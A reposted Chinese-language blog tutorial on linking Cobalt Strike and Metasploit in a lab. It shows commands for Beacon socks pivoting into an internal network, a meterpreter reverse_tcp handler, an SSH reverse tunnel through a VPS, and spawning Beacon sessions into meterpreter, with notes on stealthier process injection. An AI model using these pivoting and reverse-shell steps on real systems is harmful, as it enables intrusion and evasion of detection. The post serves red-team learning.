0x01 準備工作

• 受害主機：在關閉 Windows Defender 和其他一切殺軟的前提下，在 Win 10 主機下進行的實驗。
• MSF：本地 kali
• Cobalt Strike 團隊服務器：Ubuntu VPS
• Cobalt Strike：3.14

團隊服務器：

客戶端：

上線過程：

因為我關閉了一切殺軟及 Windows Defender，自不必做免殺。

一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的區別。據官方文檔說，Windows Executable 是生成一個 stager，但是 Windows Executable (s) 是 stageless 的，相當於直接生成一個 stage。這個涉及一個分階段傳送 payload 的概念，不做過多解釋。我認為選 Windows Executable (s) 比較好，因為 payload stager 因其體積原因，沒有一些內建的安全特性。所以能不分階段就不分階段。

然後就點擊上線。

點擊上線之後，可以做一些基本的配置。如設置「抖動因子」或者啟動「交互式模式」。

這兩個概念官方手冊有寫，以下部分摘自 cs 官方文檔，我翻譯了一下：

請注意，Beacon 是一個異步的 payload。命令不會立即執行。每個命令都會先進入隊列。當 Beacon 連接到你的時候。它會下載這些命令並挨個執行它們。此時，Beacon 會將所有的輸出報告給你。如果輸入有誤，使用 clear 命令來清理當前 Beacon 的命令隊列。 默認情況下，Beacon 每60秒連接到你一次。你可以使用 Beacon 的 sleep 命令修改這個時間設置。使用 sleep 接著一個秒數來指定 Beacon 連接到你的頻率。你也可以指定第二個參數，這個參數必須是一個0到99之間的數字。這個數字就是抖動因子。Beacon 會根據你指定的抖動因子的百分比隨機變化下次連接到你的時間。比如，sleep 300 20這條命令，會使得 Beacon 睡眠 300秒，另外有 20% 的抖動因子。這意味著 Beacon 在每次連接到你之後會隨機睡眠 240 - 300秒。 要使得 Beacon 每秒都多次連接到你，使用 sleep 0 命令。這就是「交互式模式」。這種模式下命令會立即執行。在你的隧道流量通過它之前你必須使得你的 Beacon 處於交互模式下。一些 Beacon 命令（如 browerpivot、desktop等）會自動的使 Beacon 在下次連接到你時處於交互式模式下。

在這裡我設置為交互式模式好了：

0x02 通過 beacon 內置的 socks 功能將本地 Msf 直接代入目標內網進行操作

準備工作說的有點事無鉅細，相信這些大家也都會。然後就開始做 CS 和 MSF 的聯動。

為什麼需要 CS 和 MSF 的聯動呢？主要是兩個框架的側重點不一樣，儘管我們有了 Beacon，但是我們有時候還需要藉助 MSF 的 scanner、exploit 這些功能模塊，而 CS 更側重後滲透、團隊合作一些。

MSF 就是本地 Kali 自帶的 msf5：

首先，到已控目標內網機器的 Beacon 下把 socks 起起來：

<code>beacon> getuidbeacon> socks 1080/<code>

然後，通過 View → Proxy Pivots，複製生成的 MSF 代理鏈接。

本地啟動 MSF，掛著上面生成的代理鏈接，即可直接對目標內網進行各種探測：

<code>    msf > setg Proxies socks4:1xx.1xx.57.70:1080    意思就是讓本地的 msf 走上面 cs 的 socks 代理    msf > setg ReverseAllowProxy true               建雙向通道    msf > use auxiliary/scanner/smb/smb_version     拿著 msf 中的各類探測模塊對目標內網進行正常探測即可,比如,識別目標內網所有 Windows 機器的詳細系統版本,機器名和所在域    msf > set rhosts 192.168.56.0/24                指定 CIDR 格式的目標內網段，掩碼可根據實際情況給的大一點,比如,0/20,0/16...    msf > set threads 1                             線程不宜給的太大，可根據目標實際情況,控制在10以內    msf > run/<code>

根據實際情況增強或削弱掩碼，從縮小或擴大掃描的子網範圍。

總之，這種方法是你先有一個 CS Beacon shell，然後通過 socks 代理，把受害主機的流量代理到本地的 msf，然後本地 msf 就可以進行一些內網探測或漏洞利用。

0x03 嘗試藉助 CS 的外部 tcp 監聽器通過 ssh 隧道直接派生一個 meterpreter 的 shell 到本地

鋪墊知識：

鋪墊知識很長，但只有先了解鋪墊知識，後面的操作才會更好理解。

1、 CS Foreign Listener在這裡要藉助 CS 的 Foreign 監聽器。如圖是 CS 3.14 的監聽器截圖（CS 4.0的監聽器類別有了較大改變）：

以下內容引自 cs 官方文檔，我做了一下翻譯：

其中，Foreign 監聽器支持與其他軟件的監聽器進行派生（spawn），如 msf 的 multi/handler。 將監聽器設置為 foreign 並指定主機和端口後可以將 Cobalt Strike 的 payload 生成的會話轉移到 msf 中。

2、 CS 通訊模型

首先要明確的一點是，所謂 CS+MSF 的聯動，用大白話來說就是流量轉發。

流量轉發是 CS 與 MSF 之間的事情，與受害主機的 Beacon 無關。完全是 CS 服務器與 MSF 服務器這二者之間的流量轉發。

因為 CS 是 C/S 架構的，那麼就牽扯出一個問題：CS 轉發流量到 MSF（或相反的方向），流量是 MSF 和 CS 客戶端直連呢？還是走的 CS 的團隊服務器進行轉發呢？

這個就會涉及到 CS 的通訊模型：

上圖來自 Klion 的文章，是我們的客戶端與團隊服務器的通訊模型。

以下內容來自 cs 官方手冊，本人做了微小的翻譯工作：

Cobalt Strike 採取措施保護 Beacon 的通信，確保 Beacon 只能接收來自其團隊服務器的任務並且只能將結果發送至其團隊服務器。 首次設置 Beacon payload 時，Cobalt Strike 會生成一個團隊服務器專有的公鑰/私鑰對。團隊服務器的公鑰會嵌入 Beacon 的 payload stage。Beacon 使用團隊服務器的公鑰來加密發送到團隊服務器的會話元數據。 Beacon 必須在團隊服務器可以發出和接收來自 Beacon 會話的輸出之前持續發送會話元數據。此元數據包含一個由 Beacon 生成的隨機會話秘鑰。團隊服務器使用每個 Beacon 的會話秘鑰來加密任務並解密輸出。 每個 Beacon 都使用此相同的方案來實現數據通道。當在混合 HTTP 和 DNS Beacon 中使用記錄數據通道時，有和使用 HTTPS Beacon 同樣的安全保護。 請注意，當 Beacon 分階段時， payload stager 因為其體積原因，沒有這些內建的安全特性。

監聽器是 Cobalt Strike 與 bot 之間進行通訊的核心模塊。同時是 payload 的配置信息以及告訴 Cobalt Strike 服務器以從 payload 收連接指令。其實是位於 payload 配置上一層的抽象概念。 監聽器由用戶定義的名稱、payload 類型、主機、端口及其他信息組成，用於定義 payload 的存放位置。

雖然這些話說的很抽象，但是總之概括其意思，就是說：

CS 的通訊模型中，客戶端不會直接與 payload 進行連接，都是必須經過團隊服務器的。以團隊服務器為中介，這是 CS 設計的一種的安全機制。

所以對於此問題：

CS 轉發流量到 MSF（或相反的方向），流量是 MSF 和 CS 客戶端直連呢？還是走的 CS 的團隊服務器進行轉發呢？

答案應該是：CS 與 MSF 之間的流量轉發，其實是 CS 團隊服務器與 MSF 之間的流量轉發。客戶端作為第三方只是與 CS 團隊服務器進行交互。

這樣就清楚多了，確定了流量轉發的雙方對象為：

• CS 團隊服務器（後文簡稱 TS）
• MSF 服務器

那麼根據實際情況的網絡環境就會有如下這些可能的場景（CS團隊服務器一般不會開在本地）：

1. CS TS 在公網、MSF 在本地
2. CS TS 在公網、MSF 在公網

MSF 在公網的情況比 MSF 在本地的情況相對更好轉發一些。因為如果 MSF 在本地，沒有公網 IP 地址，要想把 CS TS 的流量發到 MSF，就需要額外的處理。

3、 Spawn

下面是 cs 官方手冊中關於 spawn 的介紹，我同樣做了一點微小的翻譯工作：

Cobalt Strike 的 Beacon 最初是一個穩定的生命線，讓你可以保持對受害主機的訪問權限。從一開始，Beacon 的主要目的就是向其他的 Cobalt Strike 監聽器傳遞權限。 使用 spawn 命令來為一個監聽器派生一個會話。此 spawn 命令接受一個結構（如：x86，x64）和一個監聽器作為其參數。 默認情況下，spawn 命令會在 rundll32.exe 中派生一個會話。管理員通過查看告警可能會發現 rundll32.exe 定期與 Internet 建立連接這種異常現象。為了更好的隱蔽性，你可以找到更合適的程序（如 Internet Explorer） 並使用 spawnto 命令來說明在派生新會話時候會使用 Beacon 中的哪個程序。

注：拓展閱讀——DllMain與rundll32詳解，傾旋的博客，傾旋，2019年10月2日

個人理解，實際上就是這種過程：

當你對某個 Beacon 選擇了 spawn，就是派生，之後會讓你選擇一個 Listener：

Listener 就是位於 payload 配置上一層的抽象概念，也就是告訴 CS 團隊服務器從 payload 收連接指令的地方，定義了 payload 的存放位置。

通過對某個 Beacon 指定 Listener 進行派生，我們生成了新的會話。這個意思就是讓受害主機的 rundll32.exe 這個程序定期與我們指定在這個 Listener 中的地址、端口進行連接，進行指令的收發。

順便多說一句，在 CS 中，將 payload 注入到內存中的命令除了 spawn，還有 inject。

具體操作：

理解了前面的鋪墊知識，下面的操作就很好理解了。

第一步：在本地 MSF上創建監聽器

到本地機器把 msf 起起來,並創建如下監聽器：

<code>    msf > use exploit/multi/handler     msf > set payload windows/meterpreter/reverse_tcp 注: 此處的協議格式務必要和上面 cs 外部監聽器的協議對應,不然 meter 是無法正常回連的     msf > set lhost 192.168.113.131                   注：這裡填本地 MSF 服務器的 IP 地址    msf > set lport 8080     msf > exploit/<code>

這樣就在本地 MSF 上創建了一個監聽器。

第二步：給本地 MSF 一個公網地址

這裡通過 SSH 隧道轉發：

在一臺公網 VPS 上編輯 sshd 配置，開啟 ssh 轉發功能,重啟 ssh 服務，這是所有使用 ssh 隧道轉發前的必備操作：

<code>    # vi /etc/ssh/sshd_config     AllowTcpForwarding yes     GatewayPorts yes     TCPKeepAlive yes     PasswordAuthentication yes     # systemctl restart sshd.service/<code>

再次回到自己本地的 Kali 中並通過 ssh 隧道做好如下轉發：

<code># ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 [email protected] -p 27035 /<code>

上面命令的意思就：

1. 通過 x.x.57.70 這臺機器把來自外部的 8080 端口流量全部轉到我本地 192.168.113.131 的 8080 端口上；2. 而本地 192.168.113.131 的 8080 端口上跑的又正好是 meterpreter 的監聽器；3. 所以，最終才會造成 meterpreter 本地上線的效果。

隧道建立之後，習慣性的到 vps 上去看一眼，剛才通過隧道監聽的 8080 端口到底有沒有起來，確實起起來了才說明隧道才是通的。另外，監聽的端口不能和 vps 機器上的現有端口衝突，否則隧道是建不成功的。

<code># netstat -tulnp | grep '8080'/<code>

如圖就是建立成功了。

第三步：在 CS 上創建外部監聽器

在 cs 上創建一個 tcp 的 foreign listener，回連端口設為 8080：

TCP 就可以，如果是 HTTP 或 HTTPS，最好用域名而不是 IP。

這裡的 MSF 的公網地址，就是第二步中通過 SSH 隧道轉發到的 VPS 的公網地址。

之所以要生成這個外部監聽器，是因為後面我們要使用 spawn 命令，把會話轉移到 MSF 的服務器上。listener 是 spawn 命令的參數。

如果我們的 MSF 是跑在公網服務器上的話，就可以省去第二步中 SSH 隧道從公網 VPS 轉發流量到本地的那步操作。

注：我看到在一些文章中，還會加一個監聽器，用於監聽團隊服務器。可能是因為以為只能有一個會話，但是經本人測試，會話 spawn 到 msf 上之後，本地 CS 客戶端依然可以操作。所以就不必多開一個對 CS TS 的監聽器了。

第四步：spawn

派生會話的操作很簡單：

對 Beacon 選擇 spawn 選項（或在 Beacon shell 命令行裡面輸入 spawn）：

為其選擇 MSF 的 listener 作為參數：

回到本地 MSF，就會發現相應目標機器的 meterpreter 已經被直接彈回到了本地：

總之，我們完成了這樣一個操作，從而實現了從 CS Beacon 到本地 MSF meterpreter 的派生：

最後，To be honest，這個問題我也遇到了：

如何去解決這個問題，是否 MSF 開在公網就能改善此情況，我還沒有試過。在未來的日子裡，我會努力探索出更穩定的解決方案。

拓展閱讀：

[1] DllMain與rundll32詳解，傾旋的博客，傾旋，2019年10月2日

參考文檔：

[1] CobaltStrike + Metasploit 實戰聯動利用 [ 一 ] ，Klion，2019年6月[2] csmannual 4.0，https://www.cobaltstrike.com/downloads/csmanual40.pdf[3] 感謝 UD94、because we can 等朋友的幫助

------

本文轉載自：Snowming04's Blog

閱讀更多 白帽子 的文章

關鍵字: 聯動 掃描儀 探測